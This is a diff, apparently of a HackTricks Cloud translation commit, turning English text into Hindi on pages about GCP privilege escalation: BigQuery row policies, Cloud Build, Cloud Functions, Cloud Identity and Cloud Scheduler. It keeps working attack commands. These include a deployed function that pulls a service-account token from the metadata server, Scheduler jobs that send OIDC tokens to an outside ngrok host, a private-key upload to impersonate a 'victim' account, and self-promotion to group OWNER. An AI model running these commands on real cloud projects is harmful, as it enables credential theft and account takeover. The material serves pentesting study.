|
||||
```
|
||||
|
||||
If you have **`bigquery.rowAccessPolicies.delete`** instead of `bigquery.rowAccessPolicies.update` you could also just delete the policy:
|
||||
|
||||
यदि आपके पास **`bigquery.rowAccessPolicies.delete`** है बजाय `bigquery.rowAccessPolicies.update` के, तो आप नीति को बस हटा भी सकते हैं:
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
@@ -109,12 +92,7 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Another potential option to bypass row access policies would be to just change the value of the restricted data. If you can only see when `term` is `Cfba`, just modify all the records of the table to have `term = "Cfba"`. However this is prevented by bigquery.
|
||||
> पंक्ति पहुँच नीतियों को बायपास करने का एक और संभावित विकल्प प्रतिबंधित डेटा के मान को बदलना होगा। यदि आप केवल तब देख सकते हैं जब `term` `Cfba` है, तो बस तालिका के सभी रिकॉर्ड को `term = "Cfba"` में संशोधित करें। हालाँकि, यह bigquery द्वारा रोका गया है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+2
-8
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Create OAuth Brand and Client
|
||||
### OAuth ब्रांड और क्लाइंट बनाएं
|
||||
|
||||
[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), these are the required permissions:
|
||||
[**दस्तावेज़ों के अनुसार**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), ये आवश्यक अनुमतियाँ हैं:
|
||||
|
||||
- `clientauthconfig.brands.list`
|
||||
- `clientauthconfig.brands.create`
|
||||
@@ -14,7 +14,6 @@
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
@@ -22,9 +21,4 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+19
-29
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudbuild
|
||||
|
||||
For more information about Cloud Build check:
|
||||
Cloud Build के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,55 +12,45 @@ For more information about Cloud Build check:
|
||||
|
||||
### `cloudbuild.builds.create`
|
||||
|
||||
With this permission you can **submit a cloud build**. The cloudbuild machine will have in it’s filesystem by **default a token of the cloudbuild Service Account**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. However, you can **indicate any service account inside the project** in the cloudbuild configuration.\
|
||||
Therefore, you can just make the machine exfiltrate to your server the token or **get a reverse shell inside of it and get yourself the token** (the file containing the token might change).
|
||||
इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से cloudbuild सेवा खाते का एक टोकन** होगा: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`। हालाँकि, आप cloudbuild कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते को निर्दिष्ट कर सकते हैं**।\
|
||||
इसलिए, आप बस मशीन को अपने सर्वर पर टोकन को एक्सफिल्ट्रेट करने के लिए कह सकते हैं या **इसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और खुद को टोकन प्राप्त कर सकते हैं** (टोकन वाला फ़ाइल बदल सकता है)।
|
||||
|
||||
You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
|
||||
आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहाँ GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा है वह मेरे लिए काम नहीं किया)। इसलिए, [**यहाँ एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और cloudbuild मशीन के अंदर एक रिवर्स शेल प्राप्त करने के लिए एक पायथन स्क्रिप्ट और [**इसे यहाँ चुराने के लिए**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप देख सकते हैं कि अन्य सेवा खातों को कैसे निर्दिष्ट करना है)**।**
|
||||
|
||||
For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
अधिक गहन व्याख्या के लिए, देखें [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
|
||||
**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API).
|
||||
**संभावित रूप से** इस अनुमति के साथ आप **एक क्लाउड बिल्ड को अपडेट कर सकते हैं और बस सेवा खाता टोकन चुरा सकते हैं** जैसे कि पिछले अनुमति के साथ किया गया था (लेकिन दुर्भाग्यवश इस लेखन के समय मुझे उस API को कॉल करने का कोई तरीका नहीं मिला)।
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
With this permission the user can get the **read access token** used to access the repository:
|
||||
|
||||
इस अनुमति के साथ उपयोगकर्ता **पुस्तकालय तक पहुँचने के लिए उपयोग किए जाने वाले पढ़ने के एक्सेस टोकन** को प्राप्त कर सकता है:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
With this permission the user can get the **read and write access token** used to access the repository:
|
||||
|
||||
इस अनुमति के साथ उपयोगकर्ता **पढ़ने और लिखने की पहुँच टोकन** प्राप्त कर सकता है जिसका उपयोग भंडार तक पहुँचने के लिए किया जाता है:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
With this permission you can **get the repos the connection has access to:**
|
||||
|
||||
इस अनुमति के साथ आप **उन रिपोजिटरीज़ को प्राप्त कर सकते हैं जिन तक कनेक्शन की पहुँच है:**
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+26
-34
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
More information about Cloud Functions:
|
||||
Cloud Functions के बारे में अधिक जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,20 +12,19 @@ More information about Cloud Functions:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
An attacker with these privileges can **create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account**. Then, leak the Service Account token from the metadata to escalate privileges to it.\
|
||||
Some privileges to trigger the function might be required.
|
||||
इन विशेषाधिकारों के साथ एक हमलावर **मनमाने (दुष्ट) कोड के साथ एक नया Cloud Function बना सकता है और इसे एक Service Account सौंप सकता है**। फिर, विशेषाधिकारों को बढ़ाने के लिए मेटाडेटा से Service Account टोकन लीक करें।\
|
||||
फंक्शन को ट्रिगर करने के लिए कुछ विशेषाधिकारों की आवश्यकता हो सकती है।
|
||||
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
इस विधि के लिए शोषण स्क्रिप्ट [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) और [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) मिल सकती हैं और प्रीबिल्ट .zip फ़ाइल [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions) मिल सकती है।
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
An attacker with these privileges can **modify the code of a Function and even modify the service account attached** with the goal of exfiltrating the token.
|
||||
इन विशेषाधिकारों के साथ एक हमलावर **एक Function के कोड को संशोधित कर सकता है और यहां तक कि संलग्न सेवा खाते को भी संशोधित कर सकता है** जिसका लक्ष्य टोकन को एक्सफिल्ट्रेट करना है।
|
||||
|
||||
> [!CAUTION]
|
||||
> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
|
||||
|
||||
Some extra privileges like `.call` permission for version 1 cloudfunctions or the role `role/run.invoker` to trigger the function might be required.
|
||||
> Cloud functions को तैनात करने के लिए आपको डिफ़ॉल्ट कंप्यूट सेवा खाते पर या उस सेवा खाते पर actAs अनुमतियों की भी आवश्यकता होगी जिसका उपयोग छवि बनाने के लिए किया जाता है।
|
||||
|
||||
कुछ अतिरिक्त विशेषाधिकार जैसे कि संस्करण 1 cloudfunctions के लिए `.call` अनुमति या फंक्शन को ट्रिगर करने के लिए `role/run.invoker` भूमिका की आवश्यकता हो सकती है।
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -34,9 +33,9 @@ cat > $temp_dir/main.py <<EOF
|
||||
import subprocess
|
||||
|
||||
def main(request):
|
||||
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
|
||||
result = subprocess.check_output(cmd, shell=True, text=True)
|
||||
return result
|
||||
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
|
||||
result = subprocess.check_output(cmd, shell=True, text=True)
|
||||
return result
|
||||
EOF
|
||||
|
||||
echo "" > $temp_dir/requirements.txt
|
||||
@@ -45,26 +44,24 @@ zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
|
||||
|
||||
# Update code
|
||||
gcloud functions deploy <cloudfunction-name> \
|
||||
--runtime python312 \
|
||||
--source $temp_dir \
|
||||
--entry-point main \
|
||||
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
|
||||
--trigger-http \
|
||||
--allow-unauthenticated
|
||||
--runtime python312 \
|
||||
--source $temp_dir \
|
||||
--entry-point main \
|
||||
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
|
||||
--trigger-http \
|
||||
--allow-unauthenticated
|
||||
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> If you get the error `Permission 'run.services.setIamPolicy' denied on resource...` is because you are using the `--allow-unauthenticated` param and you don't have enough permissions for it.
|
||||
> यदि आपको त्रुटि `Permission 'run.services.setIamPolicy' denied on resource...` मिलती है, तो इसका कारण यह है कि आप `--allow-unauthenticated` पैरामीटर का उपयोग कर रहे हैं और आपके पास इसके लिए पर्याप्त अनुमतियाँ नहीं हैं।
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
इस विधि के लिए एक्सप्लॉइट स्क्रिप्ट [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py) मिल सकती है।
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
With this permission you can get a **signed URL to be able to upload a file to a function bucket (but the code of the function won't be changed, you still need to update it)**
|
||||
|
||||
इस अनुमति के साथ आप एक **साइन किया हुआ URL प्राप्त कर सकते हैं ताकि एक फ़ाइल को एक फ़ंक्शन बकेट में अपलोड किया जा सके (लेकिन फ़ंक्शन का कोड नहीं बदलेगा, आपको इसे अभी भी अपडेट करना होगा)**
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -72,44 +69,39 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
|
||||
Not really sure how useful only this permission is from an attackers perspective, but good to know.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Give yourself any of the previous **`.update`** or **`.create`** privileges to escalate.
|
||||
अपने आप को किसी भी पिछले **`.update`** या **`.create`** विशेषाधिकार दें ताकि आप बढ़ा सकें।
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Only having **`cloudfunctions`** permissions, without **`iam.serviceAccounts.actAs`** you **won't be able to update the function SO THIS IS NOT A VALID PRIVESC.**
|
||||
केवल **`cloudfunctions`** अनुमतियों के साथ, बिना **`iam.serviceAccounts.actAs`** के आप **फंक्शन को अपडेट नहीं कर पाएंगे, इसलिए यह एक मान्य प्रिवेस्क नहीं है।**
|
||||
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
If you have read and write access over the bucket you can monitor changes in the code and whenever an **update in the bucket happens you can update the new code with your own code** that the new version of the Cloud Function will be run with the submitted backdoored code.
|
||||
यदि आपके पास बकेट पर पढ़ने और लिखने की पहुंच है, तो आप कोड में परिवर्तनों की निगरानी कर सकते हैं और जब भी बकेट में **अपडेट होता है, आप अपने कोड के साथ नए कोड को अपडेट कर सकते हैं** ताकि क्लाउड फ़ंक्शन का नया संस्करण प्रस्तुत किए गए बैकडोर कोड के साथ चल सके।
|
||||
|
||||
You can check more about the attack in:
|
||||
आप हमले के बारे में अधिक जानकारी देख सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
However, you cannot use this to pre-compromise third party Cloud Functions because if you create the bucket in your account and give it public permissions so the external project can write over it, you get the following error:
|
||||
हालांकि, आप इसका उपयोग तीसरे पक्ष के क्लाउड फ़ंक्शंस को पूर्व-समझौता करने के लिए नहीं कर सकते क्योंकि यदि आप अपने खाते में बकेट बनाते हैं और इसे सार्वजनिक अनुमतियाँ देते हैं ताकि बाहरी प्रोजेक्ट इसके ऊपर लिख सके, तो आपको निम्नलिखित त्रुटि मिलती है:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> However, this could be used for DoS attacks.
|
||||
> हालाँकि, इसका उपयोग DoS हमलों के लिए किया जा सकता है।
|
||||
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
|
||||
जब एक क्लाउड फ़ंक्शन बनाया जाता है, तो प्रोजेक्ट के आर्टिफैक्ट रजिस्ट्री में एक नया डॉकर इमेज पुश किया जाता है। मैंने इमेज को एक नए के साथ संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और `cache` इमेज) को भी हटाने की कोशिश की और कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद यह **बकेट के साथ रेस कंडीशन हमले का दुरुपयोग करना संभव हो सकता है** ताकि डॉकर कंटेनर को बदला जा सके जो चलाया जाएगा लेकिन **संग्रहित इमेज को केवल संशोधित करना क्लाउड फ़ंक्शन को समझौता करने के लिए संभव नहीं है।**
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+4
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloudidentity
|
||||
|
||||
For more information about the cloudidentity service, check this page:
|
||||
cloudidentity सेवा के बारे में अधिक जानकारी के लिए, इस पृष्ठ की जांच करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,17 +12,14 @@ For more information about the cloudidentity service, check this page:
|
||||
|
||||
### Add yourself to a group
|
||||
|
||||
If your user has enough permissions or the group is misconfigured, he might be able to make himself a member of a new group:
|
||||
|
||||
यदि आपके उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं या समूह गलत तरीके से कॉन्फ़िगर किया गया है, तो वह खुद को एक नए समूह का सदस्य बना सकता है:
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
### समूह की सदस्यता में परिवर्तन करें
|
||||
|
||||
### Modify group membership
|
||||
|
||||
If your user has enough permissions or the group is misconfigured, he might be able to make himself OWNER of a group he is a member of:
|
||||
|
||||
यदि आपके उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं या समूह गलत तरीके से कॉन्फ़िगर किया गया है, तो वह उस समूह का OWNER बना सकता है जिसका वह सदस्य है:
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
@@ -30,9 +27,4 @@ gcloud identity groups memberships describe --member-email <email> --group-email
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+30
-42
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Scheduler
|
||||
|
||||
More information in:
|
||||
अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-scheduler-enum.md
|
||||
@@ -12,46 +12,39 @@ More information in:
|
||||
|
||||
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
An attacker with these permissions could exploit **Cloud Scheduler** to **authenticate cron jobs as a specific Service Account**. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the **Scheduler's ability to target `*.googleapis.com` endpoints and authenticate requests**, allowing the attacker to manipulate Google API endpoints directly using a simple `gcloud` command.
|
||||
इन अनुमतियों के साथ एक हमलावर **Cloud Scheduler** का उपयोग करके **एक विशिष्ट सेवा खाते के रूप में क्रॉन नौकरियों को प्रमाणित** कर सकता है। एक HTTP POST अनुरोध तैयार करके, हमलावर क्रियाएँ निर्धारित करता है, जैसे कि एक स्टोरेज बकेट बनाना, जो सेवा खाते की पहचान के तहत निष्पादित होती हैं। यह विधि **Scheduler की क्षमता का लाभ उठाती है जो `*.googleapis.com` अंत बिंदुओं को लक्षित करती है और अनुरोधों को प्रमाणित करती है**, जिससे हमलावर को सीधे एक सरल `gcloud` कमांड का उपयोग करके Google API अंत बिंदुओं में हेरफेर करने की अनुमति मिलती है।
|
||||
|
||||
- **Contact any google API via`googleapis.com` with OAuth token header**
|
||||
|
||||
Create a new Storage bucket:
|
||||
- **OAuth टोकन हेडर के साथ `googleapis.com` के माध्यम से किसी भी गूगल API से संपर्क करें**
|
||||
|
||||
एक नया स्टोरेज बकेट बनाएं:
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
|
||||
To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account**
|
||||
|
||||
- **Exfiltrate OIDC service account token**
|
||||
|
||||
- **OIDC सेवा खाता टोकन को निकालें**
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
यदि आपको HTTP प्रतिक्रिया की जांच करने की आवश्यकता है, तो आप बस **कार्यवाही के लॉग पर एक नज़र डाल सकते हैं**।
|
||||
|
||||
If you need to check the HTTP response you might just t**ake a look at the logs of the execution**.
|
||||
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
Like in the previous scenario it's possible to **update an already created scheduler** to steal the token or perform actions. For example:
|
||||
### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
पिछले परिदृश्य की तरह, यह संभव है **पहले से बनाए गए शेड्यूलर को अपडेट करना** ताकि टोकन चुराया जा सके या क्रियाएँ की जा सकें। उदाहरण के लिए:
|
||||
```bash
|
||||
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
|
||||
Another example to upload a private key to a SA and impersonate it:
|
||||
|
||||
एक और उदाहरण एक निजी कुंजी को एक SA पर अपलोड करने और इसे अनुकरण करने का:
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
-keyout /tmp/private_key.pem \
|
||||
-out /tmp/public_key.pem \
|
||||
-subj "/CN=unused"
|
||||
-keyout /tmp/private_key.pem \
|
||||
-out /tmp/public_key.pem \
|
||||
-subj "/CN=unused"
|
||||
|
||||
# Remove last new line character of the public key
|
||||
file_size=$(wc -c < /tmp/public_key.pem)
|
||||
@@ -61,12 +54,12 @@ truncate -s $new_size /tmp/public_key.pem
|
||||
# Update scheduler to upload the key to a SA
|
||||
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
|
||||
gcloud scheduler jobs update http scheduler_lab_1 \
|
||||
--schedule='* * * * *' \
|
||||
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
|
||||
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
|
||||
--update-headers "Content-Type=application/json" \
|
||||
--location us-central1 \
|
||||
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
|
||||
--schedule='* * * * *' \
|
||||
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
|
||||
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
|
||||
--update-headers "Content-Type=application/json" \
|
||||
--location us-central1 \
|
||||
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
|
||||
|
||||
# Wait 1 min
|
||||
sleep 60
|
||||
@@ -92,30 +85,25 @@ gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserv
|
||||
export PROJECT_ID=...
|
||||
cat > /tmp/lab.json <<EOF
|
||||
{
|
||||
"type": "service_account",
|
||||
"project_id": "$PROJECT_ID",
|
||||
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
|
||||
"private_key": $private_key_json,
|
||||
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
|
||||
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
|
||||
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
|
||||
"token_uri": "https://oauth2.googleapis.com/token",
|
||||
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
|
||||
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
|
||||
"universe_domain": "googleapis.com"
|
||||
"type": "service_account",
|
||||
"project_id": "$PROJECT_ID",
|
||||
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
|
||||
"private_key": $private_key_json,
|
||||
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
|
||||
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
|
||||
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
|
||||
"token_uri": "https://oauth2.googleapis.com/token",
|
||||
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
|
||||
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
|
||||
"universe_domain": "googleapis.com"
|
||||
}
|
||||
EOF
|
||||
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
